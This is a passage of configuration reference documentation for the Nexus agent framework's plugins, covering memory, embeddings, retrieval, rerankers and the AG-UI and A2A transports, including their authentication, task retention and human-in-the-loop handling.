max_messagesint100Sliding window size; older messages dropped (with tool-pair safety).
persistbooltruePersist to context/conversation.jsonl in the session workspace.

nexus.memory.summary_buffer

Source: plugins/memory/summary_buffer/plugin.go. Provides both memory.history and memory.compaction.

KeyTypeDefaultDescription
strategystringmessage_countTrigger: message_count, token_estimate, turn_count.
message_thresholdint50Used when strategy: message_count.
token_thresholdint30000Used when strategy: token_estimate.
turn_thresholdint10Used when strategy: turn_count.
chars_per_tokenfloat4.0Token estimation ratio.
max_recentint8Messages kept verbatim; older messages are summarized.
model_rolestringquickRole used for the summary call.
modelstring(none)Explicit model ID (ignored if model_role is set).
promptstring(default)Inline summary prompt. The default prompt is reasoning-preservation aware: it instructs the summariser to wrap segments in <summary topic="…" compressed-from-turns="…">…</summary> and end with a ## Preserved Kinds: trailer. Overriding loses both behaviours.
prompt_filestring(none)Path to a summary prompt file (overrides prompt).
quality_retryboolfalseWhen true, the plugin re-runs the summariser once with a stricter prompt if the trailer omits any required preserved kind. Off by default for backwards compatibility.
require_preserved_kinds[]string["decision", "rationale"]Kinds whose presence in the trailer is required when quality_retry: true. Allowed values: decision, rationale, error, next_step, technical_detail.

nexus.memory.compaction

Source: plugins/memory/compaction/plugin.go. Provides memory.compaction as an external coordinator (separate from history buffers).

KeyTypeDefaultDescription
strategystringmessage_countTrigger: message_count, token_estimate, turn_count.
message_thresholdint50Used when strategy: message_count.
token_thresholdint30000Used when strategy: token_estimate.
turn_thresholdint10Used when strategy: turn_count.
chars_per_tokenfloat4.0Token estimation ratio.
model_rolestringquickRole used for the compaction LLM call.
modelstring(none)Explicit model ID.
promptstring(default)Inline compaction prompt.
prompt_filestring(none)Path to a prompt file.
protect_recentint4Recent messages exempt from compaction.
persistbooltruePersist snapshots and archives to the session workspace.
require_approval.enabledboolfalseEmit hitl.requested before committing the summary back into history. Off = unchanged behavior.
require_approval.default_choicestring(none)Choice ID picked when the deadline expires (e.g. reject). Empty = treat timeout as cancelled.
require_approval.timeoutduration(none)Optional deadline (5m, 30s, …).
require_approval.match.size_threshold_bytesint(any)Only require approval when the summary is at least this many bytes.

nexus.memory.longterm

Source: plugins/memory/longterm/plugin.go. Provides memory.longterm. Registers LLM tools: memory_write, memory_read, memory_list, memory_delete.

KeyTypeDefaultDescription
scopestringagentagent, global, or both.
pathstring~/.nexus/memory/Base directory for memory files.
agent_idstring(auto)Agent identifier when scope includes agent.
auto_loadbooltrueLoad memory index at startup and inject into the system prompt.
auto_save_instructionsstring(none)Instructions appended to the system prompt (e.g. “save important decisions”).
require_approval.enabledboolfalseEmit hitl.requested before persisting writes. Off by default; on = every write blocks until an operator responds.
require_approval.default_choicestring(none)Choice ID picked when the deadline expires (e.g. reject). Empty = treat timeout as cancelled.
require_approval.timeoutduration(none)Optional deadline (5m, 30s, …).
require_approval.match.key_globstring(any)Only require approval when the entry key matches this glob.
require_approval.match.size_threshold_bytesint(any)Only require approval when the content is at least this many bytes.

nexus.memory.vector

Source: plugins/memory/vector/plugin.go. Provides memory.vector. Requires embeddings.provider and vector.store.

KeyTypeDefaultDescription
namespacestringmemory-{instanceID}Vector store namespace.
top_kint5Recalled matches per query.
min_similarityfloat0.0Minimum cosine similarity (0 disables filtering).
auto_store_compactionbooltrueStore summaries when memory.compacted fires.
auto_store_user_inputboolfalseStore user messages on every input (opt-in).
section_priorityint45Priority of the recalled-memory section in the system prompt.
recall_via_hybridboolfalseWhen search.hybrid is active, route recall queries through it instead of direct vector lookup. Off by default — adds the lexical leg’s latency to every user input.
store_imagesboolfalseEmbed image attachments on UserInput.Files (any MimeType starting with image/) via the multimodal embeddings.provider and store the resulting vector under image_namespace. Requires a multimodal adapter (e.g. nexus.embeddings.cohere_multimodal); text-only adapters will reject and the path no-ops. Off by default — opt-in.
image_namespacestring<namespace>-imagesVector store namespace for image embeddings. Kept separate from the text namespace so similarity queries can target one or the other.
require_approval.enabledboolfalseEmit hitl.requested before each vector.upsert. Off = unchanged behavior.
require_approval.default_choicestring(none)Choice ID picked when the deadline expires (e.g. reject). Empty = treat timeout as cancelled.
require_approval.timeoutduration(none)Optional deadline (5m, 30s, …).
require_approval.match.namespace_globstring(any)Only require approval when the configured namespace matches this glob.
require_approval.match.size_threshold_bytesint(any)Only require approval when the document content is at least this many bytes.

nexus.memory.tool_result_clear

Source: plugins/memory/tool_result_clear/plugin.go. Live curator that replaces stale tool-result bodies in outgoing LLMRequest.Messages with an inline <tool_result … cleared="true" …/> envelope. The original call/result pairing stays in history so the agent retains the fact of the call. Runs at priority 12 on before:llm.request (after nexus.discovery.progressive).

KeyTypeDefaultDescription
enabledbooltrueToggle the curator.
age_turnsint5Clear tool results older than this many turns when also exceeding the size threshold.
size_bytes_thresholdint1000Skip clearing for result bodies smaller than this many bytes.
preserve_recent_kinds[]string["error", "user_question"]Result kinds that are never cleared regardless of age.
drop_strategystringreplace_with_envelopereplace_with_envelope keeps the call/result pair with a marker body; full_drop removes the message entirely (risks tool_use/tool_result pairing breakage).

Emits memory.tool_result_cleared (per cleared call) and memory.curated (stability descriptor for the cache-aware prompt builder).

nexus.memory.tool_def_pruner

Source: plugins/memory/tool_def_pruner/plugin.go. Drops individual tool definitions from outgoing LLMRequest.Tools when they have been idle past unused_turns_threshold. Pairs with nexus.discovery.progressive — progressive scopes by class, this scopes per tool. Runs at priority 14 on before:llm.request.

KeyTypeDefaultDescription
enabledbooltrueToggle the pruner.
unused_turns_thresholdint6Drop a tool definition after this many consecutive turns without an invocation.
never_prune[]string["discover","ask_user"]Tool names exempt from pruning (e.g. discovery’s meta-tool, HITL ask-user).

Emits memory.tool_def_pruned and memory.curated. The MemoryCurated event marks cache_invalidates: true because the tool list is part of the session-cached prefix.

nexus.memory.topic_pruner

Source: plugins/memory/topic_pruner/plugin.go. Detects topic boundaries in user input and emits memory.topic_shift_detected. Two signals are combined:

  • Explicit-phrase matching (“different question”, “new topic”, “let’s move on”, …) — cheap, deterministic.
  • Embedding similarity drop against the rolling topic centroid — runs only when an embeddings.provider is active.

The plugin does not itself rewrite history; it surfaces the shift so other plugins (summary buffer, compaction) can react. Topic boundaries are journalled for replay determinism.

KeyTypeDefaultDescription
enabledbooltrueToggle the pruner.
similarity_thresholdfloat0.55Cosine similarity below which a new user input flags a topic shift. Used only when an embeddings.provider is active.
keep_last_topic_fullbooltrueReserved — informs downstream consumers whether the most recent topic should remain verbatim.
explicit_phrases[]string["different question", "different topic", "new topic", "new question", "let's move on", "moving on", "change of subject", "switching gears", "unrelated:", "separately,", "on a different note"]Lowercase substrings that signal a topic shift. Replacing the list disables the defaults.

Emits memory.topic_shift_detected and memory.curated. Same-turn duplicate signals are debounced.


Embeddings

nexus.embeddings.openai

Source: plugins/embeddings/openai/plugin.go. Provides embeddings.provider.

KeyTypeDefaultDescription
api_keystring(required, or via env)OpenAI API key.
api_key_envstringOPENAI_API_KEYOverride env var name.
base_urlstringhttps://api.openai.com/v1/embeddingsEndpoint (Azure / OpenAI-compatible proxies).
modelstringtext-embedding-3-smallDefault model.
timeoutduration30sHTTP timeout.

nexus.embeddings.mock

Source: plugins/embeddings/mock/plugin.go. Provides embeddings.provider. Deterministic hash-based vectors; opt-in via plugins.active.

KeyTypeDefaultDescription
dimensionsint128Vector dimensionality.
modelstringmock-embeddingModel ID string returned to callers.

nexus.embeddings.cohere_multimodal

Source: plugins/embeddings/cohere_multimodal/plugin.go. Provides embeddings.provider via Cohere Embed v3 (POST /v2/embed). Multimodal: accepts text and image inputs in a single batch through EmbeddingsRequest.Inputs. Opt-in: registered but not in the default plugins.active list — wire it explicitly when image embeddings are required (e.g. nexus.memory.vector with store_images: true).

For an EmbeddingsInput carrying ImageURI with the nexus-blob: scheme, the plugin resolves bytes via the per-session blob store. When the engine boots without a session (rare, mostly tests), the plugin errors clearly — callers must inline bytes via EmbeddingsInput.Image instead.

KeyTypeDefaultDescription
api_keystring(required, or via env)Cohere API key.
api_key_envstringCOHERE_API_KEYOverride env var name.
base_urlstringhttps://api.cohere.comCohere API base URL. The plugin appends /v2/embed itself.
modelstringembed-english-v3.0Cohere embedding model.
input_typestringsearch_documentCohere input_type (e.g. search_document, search_query, classification, clustering, image).
timeoutduration30sHTTP timeout.

Vector store

nexus.vectorstore.chromem

Source: plugins/vectorstore/chromem/plugin.go. Provides vector.store.

KeyTypeDefaultDescription
pathstring~/.nexus/vectorsDirectory for persistent storage (one subdir per namespace).
compressboolfalseGzip-compress JSON on disk.

Lexical store

nexus.vectorstore.sqlite_fts

Source: plugins/vectorstore/sqlite_fts/plugin.go. Provides search.lexical. BM25 ranking via SQLite FTS5 — pure Go, no CGO. Backing storage comes from the engine’s per-plugin storage capability; the scope: knob picks where the underlying store.db lands.

KeyTypeDefaultDescription
scopestringsessionStorage scope for the FTS index: session, agent, app. Knowledge-base-style corpora that survive across sessions should use agent or app.

Each namespace becomes a separate FTS5 virtual table (lex_<safe_namespace>) inside the scoped store.db. The provider auto-creates tables on first upsert; missing-namespace queries return zero results without error.


RAG

nexus.rag.hybrid

Source: plugins/rag/hybrid/plugin.go. Provides search.hybrid — a fusion orchestrator that runs vector + lexical retrieval in parallel and combines results via Reciprocal Rank Fusion or weighted score combination.

KeyTypeDefaultDescription
fusionstringrrfFusion strategy: rrf (rank-only, weight-free) or weighted (linear combination over min-max-normalized per-backend scores).
rrf_kint60RRF smoothing constant. Lower values weight top ranks more heavily.
weights.vectorfloat0.7Per-backend bias for weighted fusion.
weights.lexicalfloat0.3Per-backend bias for weighted fusion.
retrieve_kint50Per-backend candidate count gathered before fusion.
fuse_toint20Default post-fusion top-N when the caller does not specify K.
reranker.enabledboolfalseApply a post-fusion reranker pass via the search.reranker capability. Off by default — enable when a reranker provider is active and the latency budget allows.

Requires embeddings.provider, vector.store, and search.lexical. Per-query LexicalBias (range -1..1) on the hybrid.query event tilts fusion weights without rewriting config — positive favors lexical, negative favors vector.

When search.hybrid is active, nexus.tool.knowledge_search automatically routes through it instead of querying the vector store directly. nexus.memory.vector opts in via recall_via_hybrid: true (off by default because the lexical leg adds latency on every user input).


Rerankers (search.reranker capability)

Three providers ship; activate one (rarely more than one). The hybrid orchestrator’s reranker.enabled: true knob switches them on; without that, plugins can still emit reranker.rerank events directly.

nexus.rag.reranker.cohere

Source: plugins/rag/reranker/cohere/plugin.go. Cohere Rerank v2 API.

KeyTypeDefaultDescription
api_keystring(none)Cohere API key. Mutually exclusive with api_key_env.
api_key_envstringCOHERE_API_KEYEnv var to read the key from when api_key is unset.
modelstringrerank-english-v3.0Cohere reranker model identifier.
timeout_msint10000HTTP timeout in milliseconds.
api_basestring(Cohere v2 endpoint)Override for testing / private deployments.

nexus.rag.reranker.jina

Source: plugins/rag/reranker/jina/plugin.go. Jina AI Reranker API.

KeyTypeDefaultDescription
api_keystring(none)Jina API key. Mutually exclusive with api_key_env.
api_key_envstringJINA_API_KEYEnv var to read the key from when api_key is unset.
modelstringjina-reranker-v2-base-multilingualJina reranker model identifier.
timeout_msint10000HTTP timeout in milliseconds.
api_basestring(Jina v1 endpoint)Override for testing / private deployments.

nexus.rag.reranker.local

Source: plugins/rag/reranker/local/plugin.go. Pure-Go TF-IDF cosine reranker. No API calls, no model files, no extra dependencies. Quality is materially below a real cross-encoder; use it for offline / cost-sensitive deployments and as the zero-dep fallback. Future phase will add an ONNX- backed BGE Reranker behind a build tag.

KeyTypeDefaultDescription
min_token_lengthint2Drop tokens shorter than this during scoring.
disable_stopwordsboolfalseSkip the built-in English stopword filter.

nexus.rag.citations

Source: plugins/rag/citations/plugin.go. Provides rag.citations. Parses citation tags or Anthropic-native source attributions out of LLM responses and emits the structured llm.response.cited event for IO renderers to footnote.

KeyTypeDefaultDescription
modestringautoCitation source: tag (parses <cite source="..." chunk="N"/> markers), anthropic_native (reads LLMResponse.Citations[] populated by Anthropic), or auto (uses native when present, falls back to tag).
strictbooltrueWhen true, citations whose (source, chunk) does not match a chunk recorded in the current turn’s retrieval context are dropped. When false, they are kept and tagged with TrustTier="unverified".
section_priorityint60Priority of the citation-contract section in the system prompt (only used in tag/auto modes).

Subscribes to rag.retrieved (emitted by nexus.tool.knowledge_search and nexus.memory.vector) to build the per-turn validation set, then to llm.response to do the parsing. Emits llm.response.cited.


nexus.rag.ingest

Source: plugins/rag/ingest/plugin.go. Backs the nexus ingest CLI subcommand and the rag.ingest event handler.

KeyTypeDefaultDescription
chunker.sizeint1000Characters per chunk.
chunker.overlapint200Character overlap between chunks.
cache_dirstring~/.nexus/vectors/_cacheEmbedding cache directory (hash → vector). The contextual-prefix cache lands at <cache_dir>/_prefix/.
backfillbooltrueWalk watched directories at startup and ingest pre-existing files.
watchlist(empty)File watch entries; each is {path, glob, namespace}.
watch[].pathstring(required)Directory to watch.
watch[].globstring(empty — match all)Glob pattern for files to ingest.
watch[].namespacestring(required)Vector store namespace.
contextual_retrieval.enabledboolfalsePer-chunk LLM-generated situating prefix (Anthropic contextual retrieval). Adds one LLM call per uncached chunk during ingest; ~49% reported recall improvement. Stored content stays the raw chunk; only the embed/lexical text is prefixed.
contextual_retrieval.model_rolestring(role default)Model role used for prefix generation (resolved via core.models).
contextual_retrieval.max_chars_doc_windowint2000Max characters of surrounding document context handed to the LLM.
contextual_retrieval.max_chars_prefixint400Truncate generated prefix to this many characters before concatenation.
contextual_retrieval.timeout_msint30000Per-call timeout. On timeout the prefix is dropped and the raw chunk is used.

Requires embeddings.provider and vector.store. When search.lexical is also active, ingest dual-writes each chunk into the lexical store with the same (namespace, doc_id) pair the vector store uses.

To migrate an existing chromem-only corpus to dual-mode: add nexus.vectorstore.sqlite_fts to plugins.active and re-run nexus ingest --lexical=true PATH. The embedding cache short-circuits the vector pass while the lexical store is freshly populated.


I/O

nexus.io.tui

Source: plugins/io/tui/plugin.go. No configuration. Bubble Tea terminal UI.

nexus.io.browser

Source: plugins/io/browser/plugin.go.

KeyTypeDefaultDescription
hoststringlocalhostHTTP listen address.
portint8080HTTP listen port.
open_browserbooltrueAuto-open the browser tab on startup (no-op when the OS lacks an opener).

nexus.io.agui

Source: plugins/io/agui/plugin.go. AG-UI (“Agent-User Interaction”) serve transport. Clients POST a RunAgentInput to /agui and receive a text/event-stream SSE response (one stream per run), using the pkg/agui wire format rather than the browser/wails Envelope. Safe by default: binds loopback, optional bearer-token auth, and configurable CORS for browser AG-UI clients.

KeyTypeDefaultDescription
bindstring127.0.0.1:8090host:port the HTTP listener binds to. Defaults to loopback so the endpoint is not network-exposed without explicit opt-in.
bearer_tokenstring(empty)Inline bearer token. When set (and non-empty), Authorization: Bearer <token> is required on every request. Takes precedence over bearer_token_env. Mutually exclusive with auth.
bearer_token_envstring(empty)Name of an environment variable to read the bearer token from. Used only when bearer_token is empty. Mutually exclusive with auth.
authmap(absent)Optional validator-chain block, parsed by the same pkg/nexusauth parser the session broker uses — so static, jwks, introspect and proxy_headers are all available here. Absent means authentication is decided by bearer_token/bearer_token_env alone. See Authentication (auth:) on nexus.io.agui below.
cors_originsstring or list(empty)Allowed CORS origins for browser clients. A single * echoes any request Origin; an explicit list echoes only matching origins. Empty means no CORS header (same-origin only), the safe default for a loopback listener. Accepts a YAML list or a single comma-separated string ("https://a.example, https://b.example"); both are trimmed and empty entries dropped.
emit_stateboolfalseOpt-in AG-UI shared-state emission. When true, the transport mirrors the session’s scene store (nexus.scene) as an AG-UI shared-state document and emits a StateSnapshot at run start plus ordered StateDelta events (RFC 6902 JSON Patch) as scenes mutate. Off by default because it adds scene-event subscriptions and per-mutation diffing overhead most clients do not need. Requires the nexus.scene plugin to be active to produce any state.

Schema-validated at boot. The plugin ships plugins/io/agui/schema.json and implements ConfigSchema(), so the engine validates this block — including everything under auth:before Init runs, with additionalProperties: false at every object level. A misspelled key aborts the boot naming the offender (unknown key "bearer_tokn" (did you mean "bearer_token"?)) instead of being silently ignored, which for an auth key would mean an unauthenticated listener and no warning. The table above is the whole surface: any key not listed is rejected.

One rule is deliberately not in the schema. auth: versus bearer_token/bearer_token_env is enforced in Init (see below), which owns the operator-facing message; duplicating it in JSON Schema would give two enforcement points that can drift, and the schema one runs first and would report the worse message.

Round-trip: a POST /agui maps the request messages to a Nexus io.input (the trailing user message drives the turn; earlier messages ride as PreloadMessages; threadId is recorded as the session id, runId identifies the turn). The plugin subscribes to the same bus events as the browser transport and translates them to canonical AG-UI SSE: agent.turn.startStepStarted, llm.stream.chunkTextMessage*, tool.call/tool.resultToolCall*, thinking.stepReasoning*, agent.turn.endStepFinished/RunFinished. The stream flushes incrementally and terminates at RunFinished (or RunError on failure/disconnect).

Non-canonical events: Nexus bus events with no canonical AG-UI equivalent (workflow.progress, subagent.started/iteration/complete, code.exec.stdout) consistently ride the AG-UI Custom event, with name set to the bus event type and value the JSON-encoded payload. This is a documented superset — conformance clients that only understand canonical events can ignore Custom without losing the run’s canonical lifecycle.

Scope: one in-flight run per listener (single engine/session per listener, mirroring nexus.io.browser). A second POST while a run is active receives a terminal RunStarted+RunError stream rather than interleaving.

Shared state (emit_state: true): the transport tracks the scene store’s scene.created / scene.patched / scene.deleted bus events (each carrying the scene’s full post-mutation content) into a shared-state document keyed by scene_id. A StateSnapshot of the current document is emitted immediately after RunStarted; each subsequent scene mutation during the run emits a StateDelta whose delta is an RFC 6902 JSON Patch from the prior document to the new one, so a client applying the deltas in order reconstructs the snapshot. The document is session-scoped and persists across runs on the listener (a later run’s snapshot reflects scenes created earlier). Inbound state (RunAgentInput.state, same scene-keyed shape) is applied at run start — and on a resume/continuation run — before the initial StateSnapshot, seeding the scene store via a scene_create tool.invoke per scene so the agent observes it through scene_get / scene_list. Conflict semantics are client-state-seeds-then-agent-wins: the client seed lands before the agent’s first turn, then agent-side scene_patch mutations are last-writer and flow back out as StateDelta. See Shared state.

Authentication (auth:) on nexus.io.agui

The transport authenticates through the shared identity layer (pkg/nexusauth) — the same validator chain the session broker uses. Two spellings are accepted and they are mutually exclusive:

  • bearer_token / bearer_token_env — one shared secret, unchanged and not deprecated. It is desugared into a one-entry static validator, which is purely an implementation detail with one visible improvement: the token comparison is now constant-time.
  • auth: — the full validator-chain block, so an AG-UI deployment can verify OIDC JWTs (jwks), opaque tokens (introspect), or an identity a fronting proxy established (proxy_headers).

Setting both is a boot error naming both keys, not a precedence rule: two sources for one security decision means one of them is stale, and quietly preferring either is how an operator comes to believe a credential was tightened when it was not. (Setting bearer_token and bearer_token_env remains legal and keeps its original precedence — inline first, then the environment variable.)

Setting neither means authentication is disabled and every request is admitted, exactly as before. That is safe by default only because the listener binds loopback; change bind and you should configure auth in the same commit.

plugins:
  nexus.io.agui:
    bind: "0.0.0.0:8090"
    auth:
      validators:            # ordered; the first validator that accepts wins
        - type: static       # a shared token for CI or a local operator CLI
          tokens:
            - token: "..."
              principal: "ci-runner"
        - type: jwks         # OIDC JWTs verified against the issuer's published keys
          issuer: "https://id.example.com/"
          jwks_url: "https://id.example.com/.well-known/jwks.json"
          audience: "nexus-agui"
          principal_claim: sub

The validator keys are identical to the broker’svalidators[].type, principal_claim, tokens[], issuer/jwks_url/audience, the introspect keys, the proxy_headers keys, and their defaults and validation rules are all documented once under Authentication (auth:) and the per-validator sections that follow it. There is one deliberate difference: auth.admin_scope is broker-only and is rejected here as an unknown key. Unknown keys are rejected at every level in both hosts — a silently ignored auth key is a security bug, not a cosmetic one.

On this host they are rejected twice over, and the earlier of the two is the one an operator meets: plugins/io/agui/schema.json describes every validator key per type, so a key that belongs to a different validator type (jwks_url on a static entry) or a duration written as a bare number (cache_ttl: 600) fails at boot before pkg/nexusauth ever parses the block. The two agree by construction — the schema was derived from the nexusauth parsers, not from prose — and nexusauth remains the authority for the rules a schema cannot express (URL transport, algorithm confusion, duplicate tokens, TTL caps).

Gated surface. POST /agui only. OPTIONS /agui (CORS preflight) is deliberately not authenticated: a browser never attaches Authorization to a preflight, so gating it would make every cross-origin AG-UI client unable to reach the endpoint it is authorized for. CORS headers are applied before the auth check so a browser can actually read a 401 instead of seeing an opaque network error.

Status mapping. Denials are classified by the chain, never by string matching, and map onto:

SituationStatusBodyHeaders
No Authorization: Bearer header401unauthorizedWWW-Authenticate: Bearer realm="nexus-agui"
Credential presented and rejected401unauthorizedWWW-Authenticate: Bearer realm="nexus-agui", error="invalid_token"
Credential valid but lacking the required authority403insufficient scopeWWW-Authenticate: Bearer realm="nexus-agui", error="insufficient_scope"
The validator could not reach a verdict503authentication temporarily unavailableRetry-After: 5 (deliberately no WWW-Authenticate)

The codes match the broker’s because the denial kinds are the shared package’s transport contract, and one deployment should not answer the same refusal two different ways. The bodies differ: this endpoint’s success response is an SSE stream, not JSON, so there is no envelope for an error to be consistent with, and the 401 body stays the plain unauthorized it has always been. The RFC 6750 challenge matters more here than on the broker — an AG-UI client is often a browser front-end whose only structured signal is the status plus the challenge, and error="invalid_token" is what lets it tell “sign in” from “refresh the token” without parsing prose.

Principal. A resolved Principal is carried to the run and recorded on the agui run started log record (principal_id); it is empty when auth is disabled. Nothing keys behaviour on it yet — this transport serves a single engine/session per listener and admits one run at a time, so there is no second principal for an authorization decision to distinguish.

nexus.io.a2a

Source: plugins/io/a2a/. Agent2Agent (A2A) serve transport: exposes this Nexus instance as an A2A agent over one HTTP listener carrying three surfaces — the /.well-known/agent-card.json discovery document, the JSON-RPC 2.0 binding, and the HTTP+JSON/REST binding. The wire format is pkg/a2a (A2A specification 1.0.x); this plugin contributes the listener, the credential guard, the card assembly and the routing. Safe by default: binds loopback, optional auth through the shared pkg/nexusauth chain, and CORS off unless configured. The A2A Interoperability guide covers the protocol mapping and a worked end-to-end example; nexus.io.a2a is the plugin page.

Maturity. Every A2A operation outside the push-notification family is wired. SendMessage and SendStreamingMessage drive a real Nexus turn; every task they create is persisted durably (see Task retention below) and GetTask, ListTasks and SubscribeToTask read it back — see Reading tasks below. A task interrupted by a human-in-the-loop question parks at TASK_STATE_INPUT_REQUIRED and is resumed by a message naming the same taskId, and CancelTask settles a task at TASK_STATE_CANCELED — see Interruption and cancellation below. The Agent Card reports all of this honestly: capabilities.streaming is true because both streaming operations are wired, while pushNotifications and extendedAgentCard are false. (A2A declares no capability boolean for cancellation; it is part of the core task surface.) A turn publishes its final text, its structured output, every tool result and every file it wrote as Artifacts, and the card declares the Nexus telemetry extension — see Artifacts and The Nexus extension below.

KeyTypeDefaultDescription
bindstring127.0.0.1:8091host:port the HTTP listener binds to. Loopback by default so the endpoint is not network-exposed without explicit opt-in. An empty string falls back to the default.
public_urlstringhttp://<bind>Absolute base URL advertised in the card’s supportedInterfaces. The default is right for the loopback bind and wrong the moment a reverse proxy is involved — set it to the externally reachable origin whenever bind is not what clients dial. A trailing / is trimmed.
jsonrpc_pathstring/a2aAbsolute path the JSON-RPC 2.0 binding is mounted at (POST only). Must differ from rest_prefix; a relative path or a collision is a boot error.
rest_prefixstring/a2a/v1Absolute path prefix the HTTP+JSON/REST binding is mounted under; the operation paths of A2A specification §11.3 (/message:send, /tasks/{id}, /tasks/{id}:cancel, …) hang off it. Must differ from jsonrpc_path.
strict_version_headerboolfalseHow an absent A2A-Version service parameter is read. See A2A version negotiation below.
card_requires_authboolfalseWhether GET /.well-known/agent-card.json is gated by the validator chain. See Agent Card auth posture below.
cors_originsstring or list(empty)Allowed CORS origins. A single * echoes any request Origin; an explicit list echoes only matching origins. Empty means no CORS header at all (same-origin only). Accepts a YAML list or a single comma-separated string.
bearer_tokenstring(empty)Inline bearer token, desugared into a one-entry static validator. Takes precedence over bearer_token_env. Mutually exclusive with auth.
bearer_token_envstring(empty)Name of an environment variable holding the bearer token. Used only when bearer_token is empty. Mutually exclusive with auth.
authmap(absent)Validator-chain block, parsed by the same pkg/nexusauth parser the session broker and nexus.io.agui use, so static, jwks, introspect and proxy_headers are all available. The card’s securitySchemes are derived from it — see Agent Card security below. Every rule documented under Authentication (auth:) applies verbatim; auth.admin_scope is broker-only and is rejected here.
cardmap(absent)The hand-authored Agent Card. Exactly one of card or card_file is required. See Agent Card content below.
card_filestring (path)(absent)Path to a JSON file holding a complete A2A Agent Card document (camelCase wire shape). Expanded through engine.ExpandPath, so ~ and ~/... work. Mutually exclusive with card.
tasksmap(absent)Retention policy for the durable task store. Both knobs have non-zero defaults; see Task retention below.
artifactsmap(absent)What a turn publishes as Artifacts, and the caps that bound it. Every knob has a non-zero default; see Artifacts below.

Schema-validated at boot. The plugin ships plugins/io/a2a/schema.json and implements ConfigSchema(), so the engine validates this block — including everything under auth: and card:before Init runs, with additionalProperties: false at every object level. The schema also enforces that one of card/card_file is present. The table above is the whole top-level surface; any key not listed is rejected.

Running a turn

A SendMessage or SendStreamingMessage becomes one Nexus turn, reported as one A2A Task. There is no configuration for any of this; it is the fixed behaviour of the transport.

A2ANexus
The message’s text partsbefore:io.input (vetoable, so the same gates that see a TUI keypress see this) then io.input
Task created SUBMITTEDthe request is accepted
Task WORKINGagent.turn.start
Artifact with a text Partthe turn’s final assistant text, taken from io.output (or the terminal llm.response when no output was published)
An extra application/json Part on that artifactthe same text when it is a JSON document — see Artifacts
One Artifact per tool resultevery tool.result, unconditionally
One Artifact per written filea path a tool.result reported writing
TaskStatusUpdateEvent.metadata under the Nexus extension URIthinking.step, tool.invoke, subagent.*, and llm.response token usage — only for clients that opted in
Task COMPLETEDagent.turn.end
Task FAILEDa core.error that is fatal or has exhausted its retries, or a vetoed input

SendMessage blocks until the task reaches a state the caller has to act on and returns the Task, which is A2A’s default (§3.2.2). That means a terminal state or INPUT_REQUIRED: a task waiting for the caller cannot be waited on by the caller. SendStreamingMessage writes the same frames as SSE — an opening Task snapshot, status updates, the artifact, and the terminal status that closes the stream.

configuration.returnImmediately is honoured: the call answers with the task as it stands and the client follows it with GetTask or SubscribeToTask. It was refused for as long as a run’s lifetime was its request’s; see Task lifetime below. SendStreamingMessage ignores the flag, because a stream is already the follow-up it asks for.

Other refusals, each with the error type the specification reserves for it: a non-text Part or an acceptedOutputModes list with no text type (ContentTypeNotSupportedError), an inline taskPushNotificationConfig (PushNotificationNotSupportedError), and a second task while one is in flight (UnsupportedOperationError; the listener fronts one agent loop). A message naming a taskId is a continuation, not a refusal — see Interruption and cancellation.

Task lifetime

A run is this listener’s single active task and is released when the task reaches a terminal state — not when the HTTP request that started it returns. Three things follow, and they are the reason interruption works at all:

  • A client may disconnect mid-turn without failing its own task. The turn carries on, GetTask still answers, and SubscribeToTask reattaches to exactly where it got to.
  • A task may stay parked on a question for as long as answering it takes, bounded by tasks.input_timeout.
  • configuration.returnImmediately is answerable.

The cost is that a turn nobody is watching holds the slot until something ends it, which is why CancelTask is wired and why an unanswered question has a deadline. A task left non-terminal by a process restart is settled at FAILED when the store next opens: no run drives it, no bus event will ever name it, and only terminal tasks are evictable, so leaving it would be an immortal row reading WORKING for ever.

Interruption and cancellation

There is no configuration here beyond tasks.input_timeout; the behaviour is fixed.

A question parks the task. When a Nexus agent asks a human something — nexus.control.hitl’s ask_user tool, or any plugin emitting hitl.requested — the task moves to TASK_STATE_INPUT_REQUIRED with the question on status.message, and a multiple-choice question renders its option ids into that text so a text-only A2A client can answer it. The task stays live: open SSE streams stay open (§11.7’s close rule keys off terminal states, which this is not), the transition is written through to the store, and a client that reconnects reads the question from GetTask or from SubscribeToTask’s opening snapshot.

A message naming the same taskId resumes it (§3.4). The answer is routed to hitl.responded and the task returns to WORKING inside the same turn — no io.input, no second task. An answer whose text matches one of the question’s option ids (case-insensitively) is delivered as that choice; anything else is free text. Continuing a task is refused, with UnsupportedOperationError, when it is already terminal, when the message names a different contextId than the task’s, or when the task is not waiting for input. A taskId that does not belong to the caller answers exactly as an unknown one does: TaskNotFoundError.

CancelTask settles the task at TASK_STATE_CANCELED, then tells the bus — hitl.cancel if the task was parked, so the blocked agent loop unblocks, then cancel.request, which is the control.cancel capability’s own entry point (the same event the TUI emits). Any open stream closes on the terminal frame. Cancelling an already-terminal task is refused with TaskNotCancelableError and writes nothing: a terminal state is final, so reporting success would tell a client its cancel took effect on a task that had already completed.

Task retention

Every task this listener creates is written to a SQLite database at <session>/plugins/nexus.io.a2a/store.db, opened through the engine’s per-plugin storage capability at session scope. There is no bespoke file format and no separate cleanup job: archiving the session disposes of its tasks with it. A listener that cannot open the store does not start — a task that existed only for the lifetime of its request is exactly the lie the store exists to prevent.

The record holds the task id, its contextId, the current state with its timestamp, the full status-transition history, every artifact, message references for both sides of the exchange, and the authenticated Principal that created it. Reads are principal-scoped: a caller can only ever reach tasks filed under its own principal id, and there is no unscoped query in the store’s API to reach for by mistake. With no auth: block configured every caller is unauthenticated and shares one partition.

Retention is load-bearing rather than housekeeping — a task carries its history and its artifacts, so an unbounded store would grow with traffic rather than with the conversation. Both knobs are enforced on open and after every task creation, and a task is evicted when it exceeds either of them. Only terminal tasks are evictable: a live task is the one a client is most likely to be following, so it is never dropped mid-turn. Non-terminal tasks still count against the per-context cap, so a wedged in-flight task shows up as retention pressure instead of exempting itself from it.

KeyTypeDefaultDescription
tasks.ttlduration string24hHow long a terminal task is kept after its last transition. "0s" disables age-based eviction and keeps tasks for the life of the session. A bare number is rejected: 600 reads as ten minutes to an operator and six hundred nanoseconds to Go. Must not be negative.
tasks.max_per_contextint200How many tasks are kept per (principal, contextId) pair. 0 disables the cap. The cap is per principal and context, not per context alone, so one principal’s traffic cannot evict another’s tasks. Must not be negative.
tasks.input_timeoutduration string15mHow long a task may stay parked at TASK_STATE_INPUT_REQUIRED waiting for the client to answer the agent’s question. On expiry the task is driven to FAILED (a real terminal transition, so every attached stream closes) and hitl.cancel retracts the question so the blocked agent loop unblocks. "0s" disables the deadline. A bare number is rejected, as for ttl. Must not be negative.

The defaults are chosen for the standalone single-context listener: 24 hours is comfortably longer than any plausible client reconnect window, and 200 tasks is 200 turns of history — far more than a client polls back over.

